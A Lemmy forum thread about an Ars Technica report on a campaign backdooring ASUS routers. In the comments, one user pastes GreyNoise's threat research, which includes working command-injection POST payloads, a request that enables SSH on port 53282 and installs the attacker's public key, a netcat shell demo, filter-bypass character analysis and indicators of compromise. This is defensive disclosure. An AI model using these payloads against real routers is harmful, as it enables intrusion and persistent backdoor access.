Thousands of Asus routers are being hit with stealthy, persistent backdoors (arstechnica.com)
from schizoidman@lemm.ee to privacy@lemmy.ml on 29 May 09:26
https://lemm.ee/post/65299660

cross-posted from: rss.ponder.cat/post/193175

Thousands of home and small office routers manufactured by Asus are being infected with a stealthy backdoor that can survive reboots and firmware updates in an attack by a nation-state or another well-resourced threat actor, researchers said.

The unknown attackers gain access to the devices by exploiting now-patched vulnerabilities, some of which have never been tracked through the internationally recognized CVE system. After gaining unauthorized administrative control of the devices, the threat actor installs a public encryption key for access to the device through SSH. From then on, anyone with the private key can automatically log in to the device with administrative system rights.

Durable control

“‍The attacker’s access survives both reboots and firmware updates, giving them durable control over affected devices,” researchers from security firm GreyNoise reported Wednesday. “The attacker maintains long-term access without dropping malware or leaving obvious traces by chaining authentication bypasses, exploiting a known vulnerability, and abusing legitimate configuration features.”

Read full article

Comments


From Ars Technica - All content via this RSS feed

#privacy

threaded - newest

[deleted] on 29 May 09:49 next collapse

.

furrowsofar@beehaw.org on 29 May 11:35 next collapse

Wondering same thing. Allowing web interface access via wan has proven to be unwise in general.

Also wondering if DDWRT has the vulnerabilities?

Seems a bit over blown. Looks like firmware update and config reset should close the issue.

melroy@kbin.melroy.org on 29 May 18:39 collapse

Maybe it will survive firmware update. But of course it won't survive flashing it with a new openwrt image.

bountygiver@lemmy.ml on 29 May 22:10 collapse

it seems it’s because the modem has hidden SSH settings that is stored together alongside your user settings although it is not accessible from your admin panel. So flashing openWRT would also override those settings anyways (even if it does not, those old settings means nothing to openWRT)

AtariDump@lemmy.world on 30 May 02:09 next collapse

Yes; they’re using exploits to do so.

aspirate2959@sh.itjust.works on 31 May 14:06 collapse

It’s safer to assume “yes” and check your router, but the CVE links indicate compromises through the web portal of the device, and there is no way to compromise that from the Internet if your router is behind a NAT without a hole punched for web access.

warmaster@lemmy.world on 29 May 17:39 next collapse

People still on Windows 10 by next year: I never got a virus.

Bro, you never got a virus that you know of.

melroy@kbin.melroy.org on 29 May 18:41 next collapse

The real issue with this is actually allowing bad actors having a free ddos network. And this ddos network is spread across nations and across all kind of legit IPs. No cloud ranges. Etc.

Meaning it's very hard to detect or block.

CCMan1701A@startrek.website on 30 May 05:50 next collapse

I didn’t read the article, but how does one know if they have the infection?

My router is updated.

Edit: i see in the article now. Had time to read it today. 👍 I also verified i never has SSH or remote admin enabled. So i should be ok.

hyacin@lemmy.ml on 30 May 20:14 collapse

I skimmed a different article that mentioned it disables the Trend Micro stuff - which is the whole reason I buy Asus routers (can’t tell you how many stupid things children have downloaded or bad phishing/malicious/anna kournakova naked links they’ve clicked and it has stopped!) so I’m taking the fact that it is still enabled and doing the good things to mean I’m good.

CCMan1701A@startrek.website on 31 May 04:17 collapse

Cool, i don’t know if my system has any trend micro stuff. Which features does this enable?

Edit: i see it listed as AI protection. Hmm…

hyacin@lemmy.ml on 01 Jun 00:58 collapse

Yeah, two way IPS, malicious site blocking, and “infected device prevention and blocking” which stops compromised hosts from talking to C&C servers. I’ve had the last one show me one of the children’s computers/phones was infected and needed to be cleansed with fire, at least twice. All in all incredible protection against “users” and their careless behaviour!

CCMan1701A@startrek.website on 01 Jun 02:54 collapse

I turned it on and ill see what it reports after a week or so. Thanks for the info. 👍✌️

dan69@lemmy.world on 30 May 18:25 next collapse

Welp the jokes on me! Haven’t even updated my 10y old router since 3 moves ago…

stupid_asshole69@hexbear.net on 01 Jun 22:23 collapse

The source the article is based on:

spoiler

___ GreyNoise has identified an ongoing exploitation campaign in which attackers have gained unauthorized, persistent access to thousands of ASUS routers exposed to the internet. This appears to be part of a stealth operation to assemble a distributed network of backdoor devices — potentially laying the groundwork for a future botnet. The tactics used in this campaign — stealthy initial access, use of built-in system features for persistence, and careful avoidance of detection — are consistent with those seen in advanced, long-term operations, including activity associated with advanced persistent threat (APT) actors and operational relay box (ORB) networks. While GreyNoise has made no attribution, the level of tradecraft suggests a well-resourced and highly capable adversary. ‍The attacker’s access survives both reboots and firmware updates, giving them durable control over affected devices. The attacker maintains long-term access without dropping malware or leaving obvious traces by chaining authentication bypasses, exploiting a known vulnerability, and abusing legitimate configuration features. ‍The activity was uncovered by Sift — GreyNoise’s proprietary AI-powered network payload analysis tool — in combination with fully emulated ASUS router profiles running in the GreyNoise Global Observation Grid. These tools enabled us to detect subtle exploitation attempts buried in global traffic and reconstruct the full attack sequence. ‍Read the full technical analysis. ‍ Timeline of Events March 17, 2025: GreyNoise’s proprietary AI technology, Sift, observes anomalous traffic.
March 18, 2025: GreyNoise researchers become aware of Sift report and begin investigating. March 23, 2025: Disclosure deferred as we coordinated the findings with government and industry partners.
May 22, 2025: Sekoia announces compromise of ASUS routers as part of ‘ViciousTrap.’ May 28, 2025: GreyNoise publishes this blog. ‍ Summary of Findings Thousands of ASUS routers are confirmed compromised, with the number steadily increasing. Attackers gain access using brute-force login attempts and authentication bypasses, including techniques not assigned CVEs. Attackers exploit CVE-2023-39780, a command injection flaw, to execute system commands. They use legitimate ASUS features to: Enable SSH access on a custom port (TCP/53282). Insert attacker-controlled public key for remote access. The backdoor is stored in non-volatile memory (NVRAM) and is therefore not removed during firmware upgrades or reboots. No malware is installed, and router logging is disabled to evade detection. The techniques used reflect long-term access planning and a high level of system knowledge. ‍ How GreyNoise Found It The campaign was surfaced by Sift, GreyNoise’s AI-powered analysis tool for detecting novel and anomalous network activity. Sift flagged just three HTTP POST requests — targeting ASUS router endpoints — for deeper inspection. These payloads were only observed on our fully emulated ASUS profiles running factory firmware. This infrastructure allowed GreyNoise to: Capture full PCAP of the requests and router behavior. Reproduce the attack in a controlled environment. Confirm how the backdoor is installed and how it persists.
Without emulated profiles and deep inspection, this attack would likely have remained invisible. The attacker disables logging and uses official router features, leaving few traces. ‍ Confirmed Exploitation Chain 1. Initial Access Brute-force login attempts. Two authentication bypass techniques (no CVEs assigned). ‍ 2. Command Execution Exploitation of CVE-2023-39780 to run arbitrary commands. ‍ 3. Persistence SSH access is enabled via official ASUS settings. Attacker inserts a custom public SSH key. Configuration is stored in NVRAM, not on disk. ‍ 4. Stealth Logging is disabled before persistence is established. No malware is left behind. ‍ Scope and Visibility As of May 27, nearly 9,000 ASUS routers are confirmed compromised, based on scans from Censys — a platform that continuously maps and monitors internet-facing assets across the global internet. Censys reveals what’s exposed; GreyNoise shows which of those assets are being actively targeted. The number of affected hosts is growing. GreyNoise sensors saw just 30 related requests across three months, demonstrating how quietly this campaign is operating. ‍ Indicators of Compromise ‍ IP addresses involved in this activity: 101.99.91.151 101.99.94.173 79.141.163.179
111.90.146.237 COPY ‍ BLOCK MALICIOUS IPS ‍ Backdoor port: TCP/53282 COPY ‍ Attacker SSH public key (truncated): ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZ… COPY ‍ Has ASUS Released a Patch? ASUS patched CVE-2023-39780 in a recent firmware update. The initial login bypass techniques are patched but do not have assigned CVEs. The a

stupid_asshole69@hexbear.net on 01 Jun 22:31 collapse

The technical analysis of that source pt 1:

spoiler

___ AyySSHush: Tradecraft of an emergent ASUS botnet Using an AI powered network traffic analysis tool we built called SIFT, GreyNoise has caught multiple anomalous network payloads with zero-effort that are attempting to disable TrendMicro security features in ASUS routers, then exploit vulnerabilities and novel tradecraft in ASUS AiProtection features on those routers. VULNERABILITIES CYBERSECURITY ASUS AUTHOR remy PUBLISHED May 28, 2025 Using an AI powered network traffic analysis tool we built called SIFT, GreyNoise has caught multiple anomalous network payloads with zero-effort that are attempting to disable TrendMicro security features in ASUS routers, then exploit vulnerabilities and novel tradecraft in ASUS AiProtection features on those routers. Irony? Top Score. You love to see it. Note: This activity was first discovered by GreyNoise on March 18, 2025. Public disclosure was deferred as we coordinated the findings with government and industry partners. In summary, we are observing an ongoing wave of exploitation targeting ASUS routers, combining both old and new attack methods. After an initial wave of generic brute-force attacks targeting login.cgi, we observe subsequent attempts exploiting older authentication bypass vulnerabilities. Using either of the above methods to gain privileged access to ASUS hardware, we observe payloads exploiting a command injection vulnerability to create an empty file at /tmp/BWSQL_LOG. This existence of a file at this path enables BWDPI logging, a TrendMicro feature embedded in ASUS routers. Finally, we see remote SSH enabled on a high port TCP/53282 through the official ASUS settings with an attacker controlled public key added to the router’s keyring. This grants the attacker exclusive SSH access. Additionally, because the backdoor is part of the official ASUS settings, it will persist across firmware upgrades, even after the original vulnerability used to gain access has been patched. The attacker controlled pubkey that is added is: ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048 You can find an actively growing list of backdoored hosts here: Censys Search. This list provides detailed information on hosts with the backdoor in question. Now let’s go threat hunting! 👋 botnet operator, we were watching. SIFT We run a number of full interaction ASUS router firmwares on our fleet of sensors (like honeypots, but with full PCAP capture and all of the analysis engines our platform has to offer attached). The observed payloads were only seen targeting our ASUS RT-AC3100 or RT-AC3200 with an Out-Of-Box configuration. IP indicators of compromise associated with this activity: 101[.]99[.]91[.]151 101[.]99[.]94[.]173 79[.]141[.]163[.]179 111[.]90[.]146[.]237 SIFT is a machine learning model that creates daily reports of anomalous traffic that is unrelated to all previous traffic observed. This generates a visually intuitive dashboard that highlights exclusively new network payloads. Finally, a large language model analyzes the relevant context to describe the nature of each payload. Due to the targeted nature of this botnet, its overall noise level is very quiet. Showing 30 entries filtered from 23,314,780,316 total entries Regardless, SIFT it caught it anyway. Good job SIFT! There were actually several items raised by SIFT, but here’s the main exported SIFT JSON report I used as a jumping-off point: { “title”: “Command Injection via ASUS Router HTTP Post Request”, “totalPayloads”: 3, “payloads”: [ “POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter–\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: /\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 219\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27”, “POST /start_apply.htm HTTP/1.1\r\nUser-Agent: asusrouter–\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: /\r\nAccept-Encoding: gzip, deflate\r\nHost: <redacted>\r\nCookie: asus_token=\r\nConnection: keep-alive\r\nContent-Length: 219\r\n\r\ncurrent_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27”, “POST /start_appl

stupid_asshole69@hexbear.net on 01 Jun 22:34 collapse

The technical analysis of that source pt 2:

spoiler

___ if (f_exists(“/tmp/BWSQL_LOG”) > 0) { var_8f0_1 = &var_7e0; str_1 = str; snprintf(&var_420, 0x400, “echo “[BWDPI_SQLITE]%d/%d[%s] %s…”, i_3, j_1, str_1, var_8f0_1); system(&var_420); // DANGER } Mystery CVE! I’m not the only one who has noticed this vulnerability. A full write-up analyzing this critical design flaw is available here: leeyabug.top/ASUS-SQLI Wed, Feb 19, 11:44 —— ASUS confirmed the vul, will add a hall of fame and assign a CVE. discovered by leeya_bug If I wanted to ensure multiple ways to regain access to a router after being locked out, this would be an effective approach. current_page=Advanced_System_Content.asp &next_page=Advanced_System_Content.asp &modified=0 &flag= &action_mode=apply &action_wait=5 &action_script=restart_time%3Brestart_upnp%3Brestart_usb_idle%3B &first_time= &preferred_lang=EN &reboot_schedule_enable=0 &reboot_schedule_enable_x=0 &telnetd_enable=0 &sshd_enable=1 &sshd_port=53282 &sshd_port_x=53282 &sshd_pass=0 &sshd_authkeys=ssh-rsa+AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV%2BYPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay%2FxDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz%2FMPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG%2Fdj%2B37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9%2FgmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv%2Fx6IcCcKgi2w%3D%3D+rsa+2048-020623 &shell_timeout_x=20 This payload leverages built-in ASUS router features to enable SSH on both LAN and WAN, bind it to TCP/53282, and add an attacker-controlled public key:: ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048-020623 Because this key is added using the official ASUS features, this config change is persisted across firmware upgrades. If you’ve been exploited previously, upgrading your firmware will NOT remove the SSH backdoor. Can you prove that the 4,853 (and steadily increasing) hosts from this Censys search are actually backdoored with this SSH pubkey? Yes. One of the features of sshamble by runZero is the ability to take a pubkey attacker.pub and a username, and determine if the remote host has the associated pubkey inserted. In this case, the attacker possesses information we do not—specifically, the username. We suspect this was gathered earlier through brute force attacks. With a sample size of ~5,000, it is likely that at least one user chose “admin” as their username. sshamble scan --checks pubkey-hunt -u admin --pubkey-hunt-file attacker.pub --input-targets censys-ips.txt And sure enough, someone has. We can confirm that the attacker controlled pubkey has been installed for the admin user on the remote machine on TCP/53282. Something privileged that has absolutely no business being there. “pubKeyHuntResults”: [ “ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== admin” ] Demoing the Attacks After obtaining a physical ASUS RT-AX55 (which is affected by the identified CVE-2023-39780), we used the above payloads to execute commands and spawn a netcat listener without any issues. Starting Nmap 7.80 ( nmap.org ) at 2025-03-21 13:10 EDT Nmap scan report for RT-AX55-4960 (192.168.50.1) Host is up (0.012s latency). PORT STATE SERVICE 1111/tcp open lmsocialserver Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds remy@remy-XPS-13-9310:~$ nc -vvv 192.168.50.1 1111 Connection to 192.168.50.1 1111 port [tcp/*] succeeded! �������� badmin@RT-AX55-4960:/tmp/bwdpi# ls ls app_patrol.conf bwdpi.rule.db key.enc tmfbe_workdir bwdpi.app.db dcd.conf libshn_pctrl.so wred.conf bwdpi.appdb.db dcd.pid model.enc wred.pid bwdpi.beh.db dcd.stat ntdasus2014.cert bwdpi.cat.db dev_wan rule.version bwdpi.devdb.db guid shn.pem taking ARMs against a sea of troubles While updating my new ASUS RT-AX55 to the latest firmware, I noticed a recent security update released just three days ago. Unfortunately, the download link is broken and returns a 404 error. Shortly afterward, the download desc

stupid_asshole69@hexbear.net on 01 Jun 22:35 collapse

The technical analysis of that source pt 3:

spoiler

___ This produces a list of allowed characters to get past this gate: Dec Hex Char Dec Hex Char Dec Hex Char 0 0x00 9 0x09 10 0x0A 11 0x0B 12 0x0C 13 0x0D 32 0x20 43 0x2B + 45 0x2D - 46 0x2E . 47 0x2F / 48 0x30 0 49 0x31 1 50 0x32 2 51 0x33 3 52 0x34 4 53 0x35 5 54 0x36 6 55 0x37 7 56 0x38 8 57 0x39 9 65 0x41 A 66 0x42 B 67 0x43 C 68 0x44 D 69 0x45 E 70 0x46 F 71 0x47 G 72 0x48 H 73 0x49 I 74 0x4A J 75 0x4B K 76 0x4C L 77 0x4D M 78 0x4E N 79 0x4F O 80 0x50 P 81 0x51 Q 82 0x52 R 83 0x53 S 84 0x54 T 85 0x55 U 86 0x56 V 87 0x57 W 88 0x58 X 89 0x59 Y 90 0x5A Z 95 0x5F _ 97 0x61 a 98 0x62 b 99 0x63 c 100 0x64 d 101 0x65 e 102 0x66 f 103 0x67 g 104 0x68 h 105 0x69 i 106 0x6A j 107 0x6B k 108 0x6C l 109 0x6D m 110 0x6E n 111 0x6F o 112 0x70 p 113 0x71 q 114 0x72 r 115 0x73 s 116 0x74 t 117 0x75 u 118 0x76 v 119 0x77 w 120 0x78 x 121 0x79 y 122 0x7A z 126 0x7E ~ The originally vulnerable CVE-2023-39780 workflow for auth_google_check_token_status appears to be correctly patched in FW_RT_AX55_300438652332. is_valid_oauth_code interestingly validates a buffer size of 2048 bytes while it’s passed to snprintf with a size of 1024, so truncation can occur. However, because the token is formatted inside of single-quotes ’ this only results in a shell error. I don’t believe escaping the single-quotes of this particular function is possible given the allowed characters. –body-data 'refresh_token=AAAAAAAAAAAAAAAAAAAAA(…) sh: syntax error: unterminated quoted string And since we don’t trust vendors to be thorough, we should go check the other 4 functions that are nearly identical to auth_google_check_token_status that the developers may have forgotten to use single-quotes. Alternatively, if you’re not a reverse engineer capable of checking this for yourself, get your ASUS router off the internet. Summary and IoCs IPs: 101[.]99[.]91[.]151 101[.]99[.]94[.]173 79[.]141[.]163[.]179 111[.]90[.]146[.]237 ASUS Filesystem: /tmp/BWSQL-LOG /tmp/home/root/.ssh/authorized_keys Pubkey: ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048